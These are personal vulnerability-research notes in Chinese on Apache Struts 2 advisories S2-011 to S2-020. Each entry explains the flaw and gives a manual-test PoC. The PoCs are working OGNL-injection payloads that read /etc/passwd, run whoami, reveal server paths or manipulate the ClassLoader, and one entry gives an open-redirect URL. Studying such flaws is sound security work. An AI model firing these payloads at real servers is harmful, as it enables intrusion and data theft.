本文是在自己入门漏洞研究的同时编写这些笔记。
个人整理,如有错误,请联系更改。 – taamr微步社区的文章也是我发的,并不是我抄的,看id就能知道了。并且只提供POC,不提供EXP,谢谢
S2-011
漏洞原理:
Struts 2处理的请求参数被有效地视为OGNL表达式。DOS攻击者会对基于Struts 2的应用程序创建具有超长参数名的请求。然后,参数名称的OGNL计算将消耗大量CPU周期,从而提高DOS攻击的有效性。
简单来说,如上。
漏洞类型:
拒绝服务攻击。
漏洞手测:
http请求参数添加超长OGNL表达式。不推荐使用,可能会使服务器宕机。
S2-012
漏洞原理:
当发生重定向时,OGNL表达式会进行二次评估,导致之前在S2-003、S2-005、S2-009进行的参数过滤未对重定向值进行过滤,导致了OGNL表达式的执行。
简单来说,就是上面的意思。
漏洞类型:
远程命令执行漏洞。过滤不完整。可利用性:7分。
漏洞手测:
对有跳转的页面进行抓包,并更改name的值为poc
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
S2-013
漏洞原理:
struts2的标签中 <s:a> 和 <s:url> 都有一个 includeParams 属性,可以设置成如值:none - URL中不包含任何参数(默认)|| get - 仅包含URL中的GET参数 || all - 在URL中包含GET和POST参数。当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。struts2会将**http的每个参数名解析为OGNL语句执行(可理解为java代码)**。此时<s:a> 或<s:url>尝试去解析原始请求参数时,会导致OGNL表达式的执行。
PS:S2-002 漏洞也在这儿。Struts2对他的修复措施是参数使用url编码传递。但是并未做出底层的修改。
简单来说,struts2处<s:a或<s:url标签时,会根据includeParams属性的值来传递参数。而传递的参数会解析为OGNL语句执行。
漏洞类型:
远程命令执行漏洞。参数未过滤。可利用性:7分。
漏洞手测:
对于存在于<s:a或<s:url 标签中的action,提交参数并赋值poc
a=%25%7B(%23_memberAccess%5B%27allowStaticMethodAccess%27%5D%3Dtrue)(%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println(%27taamr%27)%2C%23writer.close())%7D
S2-014
漏洞原理:
原理与S2-013相似。修复S2-013时只限制过滤了#exp格式的OGNL表达式执行,未限制exp格式的OGNL表达式,从而造成了S2-014。
漏洞类型:
远程命令执行漏洞。过滤限制不完整。可利用性:7分。
漏洞手测:
对于存在于<s:a或<s:url 标签中的action,提交参数并赋值poc
xxxx=${(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("open /Applications/Calculator.app"))}
S2-015
漏洞原理:
漏洞产生于struts.xml配置了 Action 通配符 ,并将其作为动态值、不进行过滤验证时,解析时会将其内容执行 OGNL 表达式,例如:
<action name="*" class="example.ExampleSupport">
<result>/example/{1}.jsp</result>
</action>
如果一个Action请求与任何其他定义的操作不匹配,它将被通配符匹配,并且请求的操作名称将用于根据操作名称加载JSP文件。由于{1}的值作为OGNL表达式存在威胁,因此允许在服务器端执行任意Java代码。此漏洞是两个问题的组合:
1.请求的Action操作名称未在白名单中转义或检查
2.当使用$open chars和%open chars组合时,在TextParseUtil.translateVariables中对OGNL表达式进行双重计算。
简单来说,是通配符匹配机制或者OGNL表达式的双重计算引入的漏洞允许远程命令执行。
漏洞类型:
远程命令执行漏洞。配置不完善,过滤限制不完整。可利用性:7分。
漏洞手测:
url后接:(不需要get提交参数)
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action
S2-016
漏洞原理:
在struts2中,DefaultActionMapper类支持以”action:”、“redirect:”、”redirectAction:”作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。
简单来说,”action:”、“redirect:”、”redirectAction:”作为重定向前缀后跟OGNL表达式可命令执行。
漏洞类型:
远程命令执行漏洞。过滤限制不完整。可利用性:8分。
漏洞手测:
url后接:
redirect%3A%24%7B3*4%7D
爆网站路径:
?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D
S2-017
漏洞原理:
通过操纵前缀为“redirect:/”“redirectAction:”的参数允许打开重定向到的任意网页。因未进行过滤。
简单来说,没有简单来说。
漏洞类型:
开发型重定向漏洞。过滤限制不完整。可利用性:3分。
漏洞手测:
url后接:
?redirect:http://www.baidu.com/
S2-018
漏洞原理:
Struts 2动作映射机制支持特殊的参数prefix action:用于帮助将导航信息附加到表单中的按钮。
在Struts 2中2.3.15.3之前的版本中,在某些情况下,这可以用来绕过安全约束。更多细节将在以后补丁被广泛采用时提供。
将struts.mapper.action.prefix.enabled,struts.mapper.action.prefix.crossNamespaces两个参数设置为false修复漏洞。
简单来说,官方并未公布细节,实在找不到相关细节,只能知道是”action:”前缀发生的问题,因为没有利用细节,可利用性无法评估。
漏洞类型:
越权提权漏洞。可利用性:?
漏洞手测:
无。
S2-019
漏洞原理:
项目开启开发模式(org.apache.struts2.interceptor.debugging.DebuggingInterceptor.devMode的值为true)后,struts2的DebuggingInterceptor拦截器开启工作,会根据debug参数的值进行不同的处理。而debug参数值为command,browser时的另一个参数会被解析为OGNL表达式执行。
值得一提的是,官方文档中描述的此漏洞与动态方法调用机制有关。但是实际情况中,设置
简单来说,处于开发模式下的debug参数在值为command,browser时,会把另外的参数当作OGNL表达式解析执行。
漏洞类型:
远程命令执行漏洞。过滤限制不完整。可利用性:5分(需处于开发模式)。
漏洞手测:
url后接:
?debug=command&expression=%23p%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27).getWriter()%2c%23p.println(%22taamr%22)%2c%23p.close()
S2-020
漏洞原理:
Apache Struts 2.0.0-2.3.16版本的默认上传机制是基于Commons FileUpload 1.3版本,其附加的ParametersInterceptor允许访问’class’ 参数(该参数直接映射到getClass()方法),并允许控制ClassLoader。在具体的Web容器部署环境下(如:Tomcat),攻击者利用 Web容器下的Java Class对象及其属性参数(如:日志存储参数),可向服务器发起远程代码执行攻击,进而植入网站后门控制网站服务器主机。
简单来说,ParametersInterceptor允许访问’class’ 参数(该参数直接映射到getClass()方法),进而控制ClassLoader,达到DDOS,RCE等攻击。
漏洞类型:
远程命令执行漏洞。过滤限制不完整。可利用性:7分。
漏洞手测:
URL后接:
DDOS利用:
?class['classLoader']['resources']['dirContext']['docBase']=不存在的路径
RCE利用:
?class['classLoader']['resources']['dirContext']['docBase']=映射主机共享目录